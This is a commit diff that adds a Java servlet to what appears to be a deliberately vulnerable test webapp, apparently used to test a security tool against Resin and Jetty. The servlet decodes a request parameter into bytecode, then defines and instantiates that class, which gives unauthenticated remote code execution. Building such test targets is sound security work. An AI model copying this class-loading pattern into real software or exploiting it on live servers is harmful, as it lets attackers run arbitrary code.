feat: support resin2 and jetty5

vul/vul-webapp-servlet2/src/main/java/BigIntegerClassLoaderServlet.java

@@ -0,0 +1,52 @@
+import javax.servlet.*;
+import java.io.IOException;
+
+/**
+ * @author Wans
+ * @since 2025/08/25
+ */
+public class BigIntegerClassLoaderServlet extends ClassLoader implements Servlet {
+
+    public BigIntegerClassLoaderServlet() {
+    }
+
+    protected BigIntegerClassLoaderServlet(ClassLoader parent) {
+        super(parent);
+    }
+
+    @Override
+    public void init(ServletConfig config) throws ServletException {
+
+    }
+
+    @Override
+    public ServletConfig getServletConfig() {
+        return null;
+    }
+
+    @Override
+    public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException {
+        String data = req.getParameter("data");
+        try {
+            byte[] bytes = decodeBigInteger(data);
+            new BigIntegerClassLoaderServlet(Thread.currentThread().getContextClassLoader()).defineClass(null, bytes, 0, bytes.length).newInstance();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    static byte[] decodeBigInteger(String bigIntegerStr) throws Exception {
+        Class<?> decoderClass = Class.forName("java.math.BigInteger");
+        return (byte[]) decoderClass.getMethod("toByteArray").invoke(decoderClass.getConstructor(String.class, int.class).newInstance(bigIntegerStr, Character.MAX_RADIX));
+    }
+
+    @Override
+    public String getServletInfo() {
+        return "";
+    }
+
+    @Override
+    public void destroy() {
+
+    }
+}